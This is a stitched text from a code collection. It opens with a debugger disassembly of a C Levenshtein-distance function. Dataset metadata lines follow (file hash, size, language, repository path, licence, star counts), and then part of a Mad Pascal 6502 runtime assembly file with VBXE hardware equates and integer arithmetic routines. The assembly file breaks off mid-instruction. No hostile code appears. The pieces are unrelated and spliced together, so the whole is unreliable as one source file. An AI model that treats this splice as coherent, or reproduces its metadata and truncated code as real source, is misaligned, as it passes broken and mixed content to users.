levenshtein_C!levenshtein_C [c:\temp\mixinglangsbenchmark\levenshtein-c\levenshtein.cpp @ 25]: 00007ffe`7b1e1030 48895c2408 mov qword ptr [rsp+8],rbx 00007ffe`7b1e1035 44894c2420 mov dword ptr [rsp+20h],r9d 00007ffe`7b1e103a 4489442418 mov dword ptr [rsp+18h],r8d 00007ffe`7b1e103f 55 push rbp 00007ffe`7b1e1040 56 push rsi 00007ffe`7b1e1041 57 push rdi 00007ffe`7b1e1042 4154 push r12 00007ffe`7b1e1044 4155 push r13 00007ffe`7b1e1046 4156 push r14 00007ffe`7b1e1048 4157 push r15 00007ffe`7b1e104a 4883ec60 sub rsp,60h 00007ffe`7b1e104e 448bac24c0000000 mov r13d,dword ptr [rsp+0C0h] 00007ffe`7b1e1056 4983ccff or r12,0FFFFFFFFFFFFFFFFh 00007ffe`7b1e105a 0f29742450 movaps xmmword ptr [rsp+50h],xmm6 00007ffe`7b1e105f 488bea mov rbp,rdx 00007ffe`7b1e1062 488bf9 mov rdi,rcx 00007ffe`7b1e1065 4d8bf4 mov r14,r12 00007ffe`7b1e1068 66410f6ef5 movd xmm6,r13d 00007ffe`7b1e106d 660f70f600 pshufd xmm6,xmm6,0 00007ffe`7b1e1072 49ffc6 inc r14 00007ffe`7b1e1075 42803c3100 cmp byte ptr [rcx+r14],0 00007ffe`7b1e107a 75f6 jne levenshtein_C!levenshtein_C+0x42 (00007ffe`7b1e1072) 00007ffe`7b1e107c 498bf4 mov rsi,r12 00007ffe`7b1e107f 90 nop 00007ffe`7b1e1080 48ffc6 inc rsi 00007ffe`7b1e1083 803c1600 cmp byte ptr [rsi+rdx],0 00007ffe`7b1e1087 75f7 jne levenshtein_C!levenshtein_C+0x50 (00007ffe`7b1e1080) 00007ffe`7b1e1089 448d7e01 lea r15d,[rsi+1] 00007ffe`7b1e108d b804000000 mov eax,4 00007ffe`7b1e1092 4963df movsxd rbx,r15d 00007ffe`7b1e1095 48f7e3 mul rax,rbx 00007ffe`7b1e1098 490f40c4 cmovo rax,r12 00007ffe`7b1e109c 488bc8 mov rcx,rax 00007ffe`7b1e109f ff15fb1f0000 call qword ptr [levenshtein_C!_imp_malloc (00007ffe`7b1e30a0)] 00007ffe`7b1e10a5 4889442428 mov qword ptr [rsp+28h],rax 00007ffe`7b1e10aa b804000000 mov eax,4 00007ffe`7b1e10af 48f7e3 mul rax,rbx 00007ffe`7b1e10b2 490f40c4 cmovo rax,r12 00007ffe`7b1e10b6 488bc8 mov rcx,rax 00007ffe`7b1e10b9 ff15e11f0000 call qword ptr [levenshtein_C!_imp_malloc (00007ffe`7b1e30a0)] 00007ffe`7b1e10bf 4c8be0 mov r12,rax 00007ffe`7b1e10c2 4889442438 mov qword ptr [rsp+38h],rax 00007ffe`7b1e10c7 48c7c1ffffffff mov rcx,0FFFFFFFFFFFFFFFFh 00007ffe`7b1e10ce b804000000 mov eax,4 00007ffe`7b1e10d3 48f7e3 mul rax,rbx 00007ffe`7b1e10d6 480f40c1 cmovo rax,rcx 00007ffe`7b1e10da 488bc8 mov rcx,rax 00007ffe`7b1e10dd ff15bd1f0000 call qword ptr [levenshtein_C!_imp_malloc (00007ffe`7b1e30a0)] 00007ffe`7b1e10e3 33c9 xor ecx,ecx 00007ffe`7b1e10e5 4889442430 mov qword ptr [rsp+30h],rax 00007ffe`7b1e10ea 488bd0 mov rdx,rax 00007ffe`7b1e10ed 85f6 test esi,esi 00007ffe`7b1e10ef 0f88c5000000 js levenshtein_C!levenshtein_C+0x18a (00007ffe`7b1e11ba) 00007ffe`7b1e10f5 4183ff10 cmp r15d,10h 00007ffe`7b1e10f9 0f82bb000000 jb levenshtein_C!levenshtein_C+0x18a (00007ffe`7b1e11ba) 00007ffe`7b1e10ff 833d122f000002 cmp dword ptr [levenshtein_C!__isa_available (00007ffe`7b1e4018)],2 00007ffe`7b1e1106 0f8cae000000 jl levenshtein_C!levenshtein_C+0x18a (00007ffe`7b1e11ba) 00007ffe`7b1e110c 660f6f156c200000 movdqa xmm2,xmmword ptr [levenshtein_C!_xmm (00007ffe`7b1e3180)] 00007ffe`7b1e1114 4181e70f000080 and r15d,8000000Fh 00007ffe`7b1e111b 7d0a jge levenshtein_C!levenshtein_C+0xf7 (00007ffe`7b1e1127) 00007ffe`7b1e111d 41ffcf dec r15d 00007ffe`7b1e1120 4183cff0 or r15d,0FFFFFFF0h 00007ffe`7b1e1124 41ffc7 inc r15d 00007ffe`7b1e1127 448bce mov r9d,esi 00007ffe`7b1e112a 498d542420 lea rdx,[r12+20h] 00007ffe`7b1e112f 452bcf sub r9d,r15d 00007ffe`7b1e1132 41b808000000 mov r8d,8 00007ffe`7b1e1138 0f1f840000000000 nop dword ptr [rax+rax] 00007ffe`7b1e1140 418d40fc lea eax,[r8-4] 00007ffe`7b1e1144 660f6ec1 movd xmm0,ecx 00007ffe`7b1e1148 660f70c000 pshufd xmm0,xmm0,0 00007ffe`7b1e114d 488d5240 lea rdx,[rdx+40h] 00007ffe`7b1e1151 660ffec2 paddd xmm0,xmm2 00007ffe`7b1e1155 660f6ec8 movd xmm1,eax 00007ffe`7b1e1159 660f70c900 pshufd xmm1,xmm1,0 00007ffe`7b1e115e 418d4004 lea eax,[r8+4] 00007ffe`7b1e1162 660ffeca paddd xmm1,xmm2 00007ffe`7b1e1166 83c110 add ecx,10h 00007ffe`7b1e1169 660f3840c6 pmulld xmm0,xmm6 00007ffe`7b1e116e f30f7f42a0 movdqu xmmword ptr [rdx-60h],xmm0 00007ffe`7b1e1173 660f3840ce pmulld xmm1,xmm6 00007ffe`7b1e1178 f30f7f4ab0 movdqu xmmword ptr [rdx-50h],xmm1 00007ffe`7b1e117d 66410f6ec0 movd xmm0,r8d 00007ffe`7b1e1182 4183c010 add r8d,10h 00007ffe`7b1e1186 660f70c000 pshufd xmm0,xmm0,0 00007ffe`7b1e118b 660f6ec8 movd xmm1,eax 00007ffe`7b1e118f 660ffec2 paddd xmm0,xmm2 00007ffe`7b1e1193 660f70c900 pshufd xmm1,xmm1,0 00007ffe`7b1e1198 660ffeca paddd xmm1,xmm2 00007ffe`7b1e119c 660f3840c6 pmulld xmm0,xmm6 00007ffe`7b1e11a1 f30f7f42c0 movdqu xmmword ptr [rdx-40h],xmm0 00007ffe`7b1e11a6 660f3840ce pmulld xmm1,xmm6 00007ffe`7b1e11ab f30f7f4ad0 movdqu xmmword ptr [rdx-30h],xmm1 00007ffe`7b1e11b0 413bc9 cmp ecx,r9d 00007ffe`7b1e11b3 7e8b jle levenshtein_C!levenshtein_C+0x110 (00007ffe`7b1e1140) 00007ffe`7b1e11b5 488b542430 mov rdx,qword ptr [rsp+30h] 00007ffe`7b1e11ba 4863c1 movsxd rax,ecx 00007ffe`7b1e11bd 4863de movsxd rbx,esi 00007ffe`7b1e11c0 483bc3 cmp rax,rbx 00007ffe`7b1e11c3 7f1a jg levenshtein_C!levenshtein_C+0x1af (00007ffe`7b1e11df) 00007ffe`7b1e11c5 410fafcd imul ecx,r13d 00007ffe`7b1e11c9 0f1f8000000000 nop dword ptr [rax] 00007ffe`7b1e11d0 41890c84 mov dword ptr [r12+rax*4],ecx 00007ffe`7b1e11d4 4103cd add ecx,r13d 00007ffe`7b1e11d7 48ffc0 inc rax 00007ffe`7b1e11da 483bc3 cmp rax,rbx 00007ffe`7b1e11dd 7ef1 jle levenshtein_C!levenshtein_C+0x1a0 (00007ffe`7b1e11d0) 00007ffe`7b1e11df 4c8b442428 mov r8,qword ptr [rsp+28h] 00007ffe`7b1e11e4 4963c6 movsxd rax,r14d 00007ffe`7b1e11e7 4889442440 mov qword ptr [rsp+40h],rax 00007ffe`7b1e11ec 4585f6 test r14d,r14d 00007ffe`7b1e11ef 0f8e16010000 jle levenshtein_C!levenshtein_C+0x2db (00007ffe`7b1e130b) 00007ffe`7b1e11f5 8bb424c8000000 mov esi,dword ptr [rsp+0C8h] 00007ffe`7b1e11fc 4c8bf7 mov r14,rdi 00007ffe`7b1e11ff 8bce mov ecx,esi 00007ffe`7b1e1201 49f7de neg r14 00007ffe`7b1e1204 894c2420 mov dword ptr [rsp+20h],ecx 00007ffe`7b1e1208 0f1f840000000000 nop dword ptr [rax+rax] 00007ffe`7b1e1210 4533d2 xor r10d,r10d 00007ffe`7b1e1213 890a mov dword ptr [rdx],ecx 00007ffe`7b1e1215 4533c9 xor r9d,r9d 00007ffe`7b1e1218 4885db test rbx,rbx 00007ffe`7b1e121b 0f8eb7000000 jle levenshtein_C!levenshtein_C+0x2a8 (00007ffe`7b1e12d8) 00007ffe`7b1e1221 4d8bdc mov r11,r12 00007ffe`7b1e1224 488d4204 lea rax,[rdx+4] 00007ffe`7b1e1228 4d8bf8 mov r15,r8 00007ffe`7b1e122b 4d2bfc sub r15,r12 00007ffe`7b1e122e 448ba424b0000000 mov r12d,dword ptr [rsp+0B0h] 00007ffe`7b1e1236 4983c7f8 add r15,0FFFFFFFFFFFFFFF8h 00007ffe`7b1e123a 4c2bda sub r11,rdx 00007ffe`7b1e123d 0f1f00 nop dword ptr [rax] 00007ffe`7b1e1240 410fb60c29 movzx ecx,byte ptr [r9+rbp] 00007ffe`7b1e1245 33d2 xor edx,edx 00007ffe`7b1e1247 380f cmp byte ptr [rdi],cl 00007ffe`7b1e1249 498d0c3e lea rcx,[r14+rdi] 00007ffe`7b1e124d 458b4403fc mov r8d,dword ptr [r11+rax-4] 00007ffe`7b1e1252 0f459424b8000000 cmovne edx,dword ptr [rsp+0B8h] 00007ffe`7b1e125a 4403c2 add r8d,edx 00007ffe`7b1e125d 448900 mov dword ptr [rax],r8d 00007ffe`7b1e1260 4885c9 test rcx,rcx 00007ffe`7b1e1263 7e2d jle levenshtein_C!levenshtein_C+0x262 (00007ffe`7b1e1292) 00007ffe`7b1e1265 4585d2 test r10d,r10d 00007ffe`7b1e1268 7e28 jle levenshtein_C!levenshtein_C+0x262 (00007ffe`7b1e1292) 00007ffe`7b1e126a 410fb60c29 movzx ecx,byte ptr [r9+rbp] 00007ffe`7b1e126f 384fff cmp byte ptr [rdi-1],cl 00007ffe`7b1e1272 751e jne levenshtein_C!levenshtein_C+0x262 (00007ffe`7b1e1292) 00007ffe`7b1e1274 410fb64c29ff movzx ecx,byte ptr [r9+rbp-1] 00007ffe`7b1e127a 380f cmp byte ptr [rdi],cl 00007ffe`7b1e127c 7514 jne levenshtein_C!levenshtein_C+0x262 (00007ffe`7b1e1292) 00007ffe`7b1e127e 4b8d0c3b lea rcx,[r11+r15] 00007ffe`7b1e1282 8b0c01 mov ecx,dword ptr [rcx+rax] 00007ffe`7b1e1285 4103cc add ecx,r12d 00007ffe`7b1e1288 443bc1 cmp r8d,ecx 00007ffe`7b1e128b 7e05 jle levenshtein_C!levenshtein_C+0x262 (00007ffe`7b1e1292) 00007ffe`7b1e128d 448bc1 mov r8d,ecx 00007ffe`7b1e1290 8908 mov dword ptr [rax],ecx 00007ffe`7b1e1292 418b1403 mov edx,dword ptr [r11+rax] 00007ffe`7b1e1296 03d6 add edx,esi 00007ffe`7b1e1298 443bc2 cmp r8d,edx 00007ffe`7b1e129b 7e05 jle levenshtein_C!levenshtein_C+0x272 (00007ffe`7b1e12a2) 00007ffe`7b1e129d 448bc2 mov r8d,edx 00007ffe`7b1e12a0 8910 mov dword ptr [rax],edx 00007ffe`7b1e12a2 8b08 mov ecx,dword ptr [rax] 00007ffe`7b1e12a4 8b50fc mov edx,dword ptr [rax-4] 00007ffe`7b1e12a7 4103d5 add edx,r13d 00007ffe`7b1e12aa 443bc2 cmp r8d,edx 00007ffe`7b1e12ad 0f4fca cmovg ecx,edx 00007ffe`7b1e12b0 41ffc2 inc r10d 00007ffe`7b1e12b3 8908 mov dword ptr [rax],ecx 00007ffe`7b1e12b5 49ffc1 inc r9 00007ffe`7b1e12b8 4883c004 add rax,4 00007ffe`7b1e12bc 4c3bcb cmp r9,rbx 00007ffe`7b1e12bf 0f8c7bffffff jl levenshtein_C!levenshtein_C+0x210 (00007ffe`7b1e1240) 00007ffe`7b1e12c5 4c8b642438 mov r12,qword ptr [rsp+38h] 00007ffe`7b1e12ca 488b542430 mov rdx,qword ptr [rsp+30h] 00007ffe`7b1e12cf 8b4c2420 mov ecx,dword ptr [rsp+20h] 00007ffe`7b1e12d3 4c8b442428 mov r8,qword ptr [rsp+28h] 00007ffe`7b1e12d8 498bc0 mov rax,r8 00007ffe`7b1e12db 4c89642428 mov qword ptr [rsp+28h],r12 00007ffe`7b1e12e0 48ffc7 inc rdi 00007ffe`7b1e12e3 4889542438 mov qword ptr [rsp+38h],rdx 00007ffe`7b1e12e8 03ce add ecx,esi 00007ffe`7b1e12ea 4889442430 mov qword ptr [rsp+30h],rax 00007ffe`7b1e12ef 4d8bc4 mov r8,r12 00007ffe`7b1e12f2 894c2420 mov dword ptr [rsp+20h],ecx 00007ffe`7b1e12f6 4c8be2 mov r12,rdx 00007ffe`7b1e12f9 488bd0 mov rdx,rax 00007ffe`7b1e12fc 498d043e lea rax,[r14+rdi] 00007ffe`7b1e1300 483b442440 cmp rax,qword ptr [rsp+40h] 00007ffe`7b1e1305 0f8c05ffffff jl levenshtein_C!levenshtein_C+0x1e0 (00007ffe`7b1e1210) 00007ffe`7b1e130b 418b1c9c mov ebx,dword ptr [r12+rbx*4] 00007ffe`7b1e130f 498bc8 mov rcx,r8 00007ffe`7b1e1312 ff15901d0000 call qword ptr [levenshtein_C!_imp_free (00007ffe`7b1e30a8)] 00007ffe`7b1e1318 498bcc mov rcx,r12 00007ffe`7b1e131b ff15871d0000 call qword ptr [levenshtein_C!_imp_free (00007ffe`7b1e30a8)] 00007ffe`7b1e1321 488b4c2430 mov rcx,qword ptr [rsp+30h] 00007ffe`7b1e1326 ff157c1d0000 call qword ptr [levenshtein_C!_imp_free (00007ffe`7b1e30a8)] 00007ffe`7b1e132c 0f28742450 movaps xmm6,xmmword ptr [rsp+50h] 00007ffe`7b1e1331 8bc3 mov eax,ebx 00007ffe`7b1e1333 488b9c24a0000000 mov rbx,qword ptr [rsp+0A0h] 00007ffe`7b1e133b 4883c460 add rsp,60h 00007ffe`7b1e133f 415f pop r15 00007ffe`7b1e1341 415e pop r14 00007ffe`7b1e1343 415d pop r13 00007ffe`7b1e1345 415c pop r12 00007ffe`7b1e1347 5f pop rdi 00007ffe`7b1e1348 5e pop rsi 00007ffe`7b1e1349 5d pop rbp 00007ffe`7b1e134a c3 ret 00007ffe`7b1e134b cc int 3
60.04717
105
0.685625
ec957206077d289b372f918b9bc9d87440458f08
49,425
asm
Assembly
external/mp/base/cpu6502.asm
polluks/effectus
783a4715e8a86b6ecf0ce5c99da46102fa22b281
[ "MIT" ]
7
2020-05-02T15:37:57.000Z
2021-02-17T01:59:41.000Z
external/mp/base/cpu6502.asm
polluks/effectus
783a4715e8a86b6ecf0ce5c99da46102fa22b281
[ "MIT" ]
14
2020-05-03T02:02:35.000Z
2020-08-10T08:41:19.000Z
external/mp/base/cpu6502.asm
polluks/effectus
783a4715e8a86b6ecf0ce5c99da46102fa22b281
[ "MIT" ]
5
2020-06-02T18:34:14.000Z
2020-07-09T18:13:44.000Z
opt l- /* ----------------------------------------------------------------------- /* CPU 6502 /* 19.04.2018 /* ----------------------------------------------------------------------- /* 16.03.2019 poprawka dla @printPCHAR, @printSTRING gdy [YA] = 0 /* /* ----------------------------------------------------------------------- @AllocMem @ClrScr @CmdLine @COMMAND @GRAPHICS @GetLine @GetKey */ // IORESULT = 106 Invalid numeric format ; wiersz obrazu dla mapy kolorow VBXE = 256 bajtow (40*4 + ...) ; szerokosc linii obrazu dla OVERLAY = 320 FX_VIDEO_CONTROL equ 0x40 FX_VC equ FX_VIDEO_CONTROL VC_XDL_ENABLED equ 1 VC_XCOLOR equ 2 VC_NTR equ 4 VC_NO_TRANS equ VC_NTR VC_TRANS15 equ 8 ; Palette registers FX_CSEL equ 0x44 FX_PSEL equ 0x45 FX_CR equ 0x46 FX_CG equ 0x47 FX_CB equ 0x48 ; Raster collision detection FX_COLMASK equ 0x49 FX_COLCLR equ 0x4a FX_COLDETECT equ 0x4a ; XDL Address FX_XDL_ADR0 equ 0x41 FX_XDL_ADR1 equ 0x42 FX_XDL_ADR2 equ 0x43 VBXE_MINOR equ 0x41 ; MEMAC-A / MEMAC-B registers FX_MEMAC_B_CONTROL equ 0x5d FX_MEMB equ FX_MEMAC_B_CONTROL FX_MEMAC_CONTROL equ 0x5e FX_MEMC equ FX_MEMAC_CONTROL FX_MEMAC_BANK_SEL equ 0x5f FX_MEMS equ FX_MEMAC_BANK_SEL ; Blitter registers FX_BL_ADR0 equ 0x50 FX_BL_ADR1 equ 0x51 FX_BL_ADR2 equ 0x52 FX_BLITTER_START equ 0x53 FX_BLT_COL_CODE equ 0x50 FX_BLT_COLLISION_CODE equ FX_BLT_COL_CODE FX_BLITTER_BUSY equ 0x53 ; Blitter IRQ FX_IRQ_CONTROL equ 0x54 FX_IRQ_STATUS equ 0x54 ; Info registers (read only) FX_CORE_VERSION equ 0x40 FX_MINOR_REVISION equ 0x41 ; Priority registers FX_P0 equ 0x55 FX_P1 equ 0x56 FX_P2 equ 0x57 FX_P3 equ 0x58 FX_CORE_RESET equ 0xD080 ; XDLC bits XDLC_TMON equ 1 XDLC_GMON equ 2 XDLC_OVOFF equ 4 XDLC_MAPON equ 8 XDLC_MAPOFF equ 0x10 XDLC_RPTL equ 0x20 XDLC_OVADR equ 0x40 XDLC_OVSCRL equ 0x80 XDLC_CHBASE equ 0x100 XDLC_MAPADR equ 0x200 XDLC_MAPPAR equ 0x400 XDLC_OVATT equ 0x800 XDLC_ATT equ 0x800 XDLC_HR equ 0x1000 XDLC_LR equ 0x2000 XDLC_END equ 0x8000 MAXSIZE = 4 EOL = $9B @buf = $0400 ; lo addr = 0 !!! fracpart = eax /* ----------------------------------------------------------------------- */ .enum e@xdl ovroff, lr, ovron, hr, mapon, mapoff .ende .enum e@file eof = 1, open, assign .ende .struct s@file pfname .word ; pointer to string with filename record .word ; record size chanel .byte ; channel *$10 status .byte ; status bit 0..7 buffer .word ; load/write buffer nrecord .word ; number of records for load/write numread .word ; pointer to variable, length of loaded data .ends .struct s@xdl .word XDLC_ ; puste linie .byte RPTL_ .word XDLC .byte RPTL .long OVADR .word OVSTEP .long MAPADR .word MAPSTEP .byte HSCROL .byte VSCROL .byte WIDTH .byte HEIGHT .byte OVWIDTH .byte OVPRIOR .ends /* ----------------------------------------------------------------------- */ .macro m@addEAX_ECX lda %%1 clc adc %%2 sta :STACKORIGIN,x lda %%3 adc %%4 sta :STACKORIGIN+STACKWIDTH,x lda %%5 adc %%6 sta :STACKORIGIN+STACKWIDTH*2,x lda %%7 adc %%8 sta :STACKORIGIN+STACKWIDTH*3,x .endm .macro m@subEAX_ECX lda %%1 sec sbc %%2 sta :STACKORIGIN,x lda %%3 sbc %%4 sta :STACKORIGIN+STACKWIDTH,x lda %%5 sbc %%6 sta :STACKORIGIN+STACKWIDTH*2,x lda %%7 sbc %%8 sta :STACKORIGIN+STACKWIDTH*3,x .endm .macro m@index2 (Ofset) asl :STACKORIGIN-%%Ofset,x rol :STACKORIGIN-%%Ofset+STACKWIDTH,x .endm .macro m@index4 (Ofset) asl :STACKORIGIN-%%Ofset,x rol :STACKORIGIN-%%Ofset+STACKWIDTH,x asl :STACKORIGIN-%%Ofset,x rol :STACKORIGIN-%%Ofset+STACKWIDTH,x .endm ; store value in fx register (via accumulator) fxs .macro lda :2 ldy #:1 sta (fxptr),y .endm ; store accumulator in fx register fxsa .macro ldy #:1 sta (fxptr),y .endm ; load fx register value to accumulator fxla .macro ldy #:1 lda (fxptr),y .endm /* ----------------------------------------------------------------------- */ icl 'atari.hea' /* ----------------------------------------------------------------------- */ .proc hiBYTE lda :STACKORIGIN,x :4 lsr @ sta :STACKORIGIN,x rts .endp .proc hiWORD lda :STACKORIGIN+STACKWIDTH,x sta :STACKORIGIN,x rts .endp .proc hiCARD lda :STACKORIGIN+STACKWIDTH*3,x sta :STACKORIGIN+STACKWIDTH,x lda :STACKORIGIN+STACKWIDTH*2,x sta :STACKORIGIN,x rts .endp .proc movaBX_EAX ; mov [BX], EAX :MAXSIZE mva eax+# :STACKORIGIN-1+#*STACKWIDTH,x rts .endp /* .proc @pushBYTE adc :STACKORIGIN+STACKWIDTH,x sta bp+1 mva (bp),y :STACKORIGIN,x ; lda #$00 ; sta :STACKORIGIN+STACKWIDTH,x ; sta :STACKORIGIN+STACKWIDTH*2,x ; sta :STACKORIGIN+STACKWIDTH*3,x rts .endp .proc @pullWORD (.word ya) .reg add :STACKORIGIN-1,x sta bp2 tya adc :STACKORIGIN-1+STACKWIDTH,x sta bp2+1 ldy #$00 mva :STACKORIGIN,x (bp2),y iny mva :STACKORIGIN+STACKWIDTH,x (bp2),y rts .endp .proc @pullCARD (.word ya) .reg add :STACKORIGIN-1,x sta bp2 tya adc :STACKORIGIN-1+STACKWIDTH,x sta bp2+1 ldy #$00 mva :STACKORIGIN,x (bp2),y iny mva :STACKORIGIN+STACKWIDTH,x (bp2),y iny mva :STACKORIGIN+STACKWIDTH*2,x (bp2),y iny mva :STACKORIGIN+STACKWIDTH*3,x (bp2),y rts .endp .proc @pushWORD (.word ya) .reg add :STACKORIGIN,x sta bp2 tya adc :STACKORIGIN+STACKWIDTH,x sta bp2+1 ldy #$00 mva (bp2),y :STACKORIGIN,x iny mva (bp2),y :STACKORIGIN+STACKWIDTH,x rts .endp .proc @pushCARD (.word ya) .reg add :STACKORIGIN,x sta bp2 tya adc :STACKORIGIN+STACKWIDTH,x sta bp2+1 ldy #$00 mva (bp2),y :STACKORIGIN,x iny mva (bp2),y :STACKORIGIN+STACKWIDTH,x iny mva (bp2),y :STACKORIGIN+STACKWIDTH*2,x iny mva (bp2),y :STACKORIGIN+STACKWIDTH*3,x rts .endp */ .proc shlEAX_CL ;SHORT jsr @expandToCARD1.SHORT ; jmp CARD ;SMALL jsr @expandToCARD1.SMALL ; jmp CARD BYTE lda #0 sta :STACKORIGIN-1+STACKWIDTH,x WORD lda #0 sta :STACKORIGIN-1+STACKWIDTH*2,x sta :STACKORIGIN-1+STACKWIDTH*3,x CARD clc ldy :STACKORIGIN,x ; cl beq stop @ asl :STACKORIGIN-1,x ; eax rol :STACKORIGIN-1+STACKWIDTH,x rol :STACKORIGIN-1+STACKWIDTH*2,x rol :STACKORIGIN-1+STACKWIDTH*3,x dey bne @- stop rts .endp .proc shrAL_CL ;SHORT jsr @expandToCARD1.SHORT ; jmp shrEAX_CL BYTE ldy :STACKORIGIN,x ; cl beq stop @ lsr :STACKORIGIN-1,x dey bne @- stop lda #0 sta :STACKORIGIN-1+STACKWIDTH,x sta :STACKORIGIN-1+STACKWIDTH*2,x sta :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc shrAX_CL ;SMALL jsr @expandToCARD1.SMALL ; jmp shrEAX_CL WORD ldy :STACKORIGIN,x ; cl beq stop @ lsr :STACKORIGIN-1+STACKWIDTH,x ror :STACKORIGIN-1,x dey bne @- stop lda #0 sta :STACKORIGIN-1+STACKWIDTH*2,x sta :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc shrEAX_CL ldy :STACKORIGIN,x ; cl beq stop @ lsr :STACKORIGIN-1+STACKWIDTH*3,x ror :STACKORIGIN-1+STACKWIDTH*2,x ror :STACKORIGIN-1+STACKWIDTH,x ror :STACKORIGIN-1,x dey bne @- stop rts .endp ; !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ; wynik operacji ADD zostanie potraktowany jako INTEGER / CARDINAL ; !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! .proc addAL_CL ldy #0 sty :STACKORIGIN-1+STACKWIDTH*2,x sty :STACKORIGIN-1+STACKWIDTH*3,x lda :STACKORIGIN-1,x add :STACKORIGIN,x sta :STACKORIGIN-1,x scc iny sty :STACKORIGIN-1+STACKWIDTH,x rts .endp .proc addAX_CX ldy #0 sty :STACKORIGIN-1+STACKWIDTH*3,x lda :STACKORIGIN-1,x add :STACKORIGIN,x sta :STACKORIGIN-1,x lda :STACKORIGIN-1+STACKWIDTH,x adc :STACKORIGIN+STACKWIDTH,x sta :STACKORIGIN-1+STACKWIDTH,x scc iny sty :STACKORIGIN-1+STACKWIDTH*2,x rts .endp .proc addEAX_ECX /* SHORT jsr @expandToCARD.SHORT jsr @expandToCARD1.SHORT jmp CARD SMALL jsr @expandToCARD.SMALL jsr @expandToCARD1.SMALL */ CARD lda :STACKORIGIN-1,x add :STACKORIGIN,x sta :STACKORIGIN-1,x lda :STACKORIGIN-1+STACKWIDTH,x adc :STACKORIGIN+STACKWIDTH,x sta :STACKORIGIN-1+STACKWIDTH,x lda :STACKORIGIN-1+STACKWIDTH*2,x adc :STACKORIGIN+STACKWIDTH*2,x sta :STACKORIGIN-1+STACKWIDTH*2,x lda :STACKORIGIN-1+STACKWIDTH*3,x adc :STACKORIGIN+STACKWIDTH*3,x sta :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc subAL_CL ldy #0 lda :STACKORIGIN-1,x sub :STACKORIGIN,x sta :STACKORIGIN-1,x scs dey sty :STACKORIGIN-1+STACKWIDTH,x sty :STACKORIGIN-1+STACKWIDTH*2,x sty :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc subAX_CX ldy #0 lda :STACKORIGIN-1,x ; ax sub :STACKORIGIN,x ; cx sta :STACKORIGIN-1,x lda :STACKORIGIN-1+STACKWIDTH,x sbc :STACKORIGIN+STACKWIDTH,x sta :STACKORIGIN-1+STACKWIDTH,x scs dey sty :STACKORIGIN-1+STACKWIDTH*2,x sty :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc subEAX_ECX lda :STACKORIGIN-1,x sub :STACKORIGIN,x sta :STACKORIGIN-1,x lda :STACKORIGIN-1+STACKWIDTH,x sbc :STACKORIGIN+STACKWIDTH,x sta :STACKORIGIN-1+STACKWIDTH,x lda :STACKORIGIN-1+STACKWIDTH*2,x sbc :STACKORIGIN+STACKWIDTH*2,x sta :STACKORIGIN-1+STACKWIDTH*2,x lda :STACKORIGIN-1+STACKWIDTH*3,x sbc :STACKORIGIN+STACKWIDTH*3,x sta :STACKORIGIN-1+STACKWIDTH*3,x rts .endp .proc @expandSHORT2SMALL ldy #$00 lda :STACKORIGIN,x spl dey sty :STACKORIGIN+STACKWIDTH,x rts .endp .proc @expandSHORT2SMALL1 ldy #$00 lda :STACKORIGIN-1,x spl dey sty :STACKORIGIN-1+STACKWIDTH,x rts .endp .proc @expandToCARD SMALL lda :STACKORIGIN+STACKWIDTH,x bpl WORD lda #$ff bne _wo WORD lda #$00 beq _wo SHORT lda :STACKORIGIN,x bpl BYTE lda #$ff bne _by BYTE lda #$00 _by sta :STACKORIGIN+STACKWIDTH,x _wo sta :STACKORIGIN+STACKWIDTH*2,x _lo sta :STACKORIGIN+STACKWIDTH*3,x rts .endp .proc @expandToCARD1 SMALL lda :STACKORIGIN-1+STACKWIDTH,x bpl WORD lda #$ff bne _wo WORD lda #$00 beq _wo SHORT lda :STACKORIGIN-1,x bpl BYTE lda #$ff bne _by BYTE lda #$00 _by sta :STACKORIGIN-1+STACKWIDTH,x _wo sta :STACKORIGIN-1+STACKWIDTH*2,x _lo sta :STACKORIGIN-1+STACKWIDTH*3,x rts .endp /* .proc @cmpFor_WORD (.word ya) .reg sta ztmp sty ztmp+1 ldy #1 lda (ztmp),y cmp :STACKORIGIN+1+STACKWIDTH,x bne stop dey lda (ztmp),y cmp :STACKORIGIN+1,x stop rts .endp .proc @cmpFor_CARD (.word ya) .reg sta ztmp sty ztmp+1 ldy #3 lda (ztmp),y cmp :STACKORIGIN+1+STACKWIDTH*3,x bne stop dey lda (ztmp),y cmp :STACKORIGIN+1+STACKWIDTH*2,x bne stop dey lda (ztmp),y cmp :STACKORIGIN+1+STACKWIDTH,x bne stop dey lda (ztmp),y cmp :STACKORIGIN+1,x stop rts .endp .proc @cmpFor_SHORTINT(.word ya) .reg sta ztmp sty ztmp+1 ldy #0 lda (ztmp),y sec sbc :STACKORIGIN+1,x bne @cmpFor_INT.L4 jmp @cmpFor_INT.L1 .endp .proc @cmpFor_SMALLINT(.word ya) .reg sta ztmp sty ztmp+1 ldy #1 lda (ztmp),y sec sbc :STACKORIGIN+1+STACKWIDTH,x bne @cmpFor_INT.L4 dey lda (ztmp),y cmp :STACKORIGIN+1,x jmp @cmpFor_INT.L1 .endp .proc @cmpFor_INT(.word ya) .reg sta ztmp sty ztmp+1 ldy #3 lda (ztmp),y sec sbc :STACKORIGIN+1+STACKWIDTH*3,x bne L4 dey lda (ztmp),y cmp :STACKORIGIN+1+STACKWIDTH*2,x bne L1 dey lda (ztmp),y cmp :STACKORIGIN+1+STACKWIDTH,x bne L1 dey lda (ztmp),y cmp :STACKORIGIN+1,x L1 beq L2 bcs L3 lda #$FF ; Set the N flag L2 rts L3 lda #$01 ; Clear the N flag rts L4 bvc L5 eor #$FF ; Fix the N flag if overflow ora #$01 ; Clear the Z flag L5 rts .endp */ ; Piotr Fusik, 15.04.2002 ; originally by Ullrich von Bassewitz .proc cmpSHORTINT lda :STACKORIGIN-1,x clv:sec sbc :STACKORIGIN,x bne cmpINT.L4 jmp cmpINT.L1 .endp .proc cmpSMALLINT lda :STACKORIGIN-1+STACKWIDTH,x clv:sec sbc :STACKORIGIN+STACKWIDTH,x bne cmpINT.L4 lda :STACKORIGIN-1,x cmp :STACKORIGIN,x jmp cmpINT.L1 .endp .proc cmpINT lda :STACKORIGIN-1+STACKWIDTH*3,x clv:sec sbc 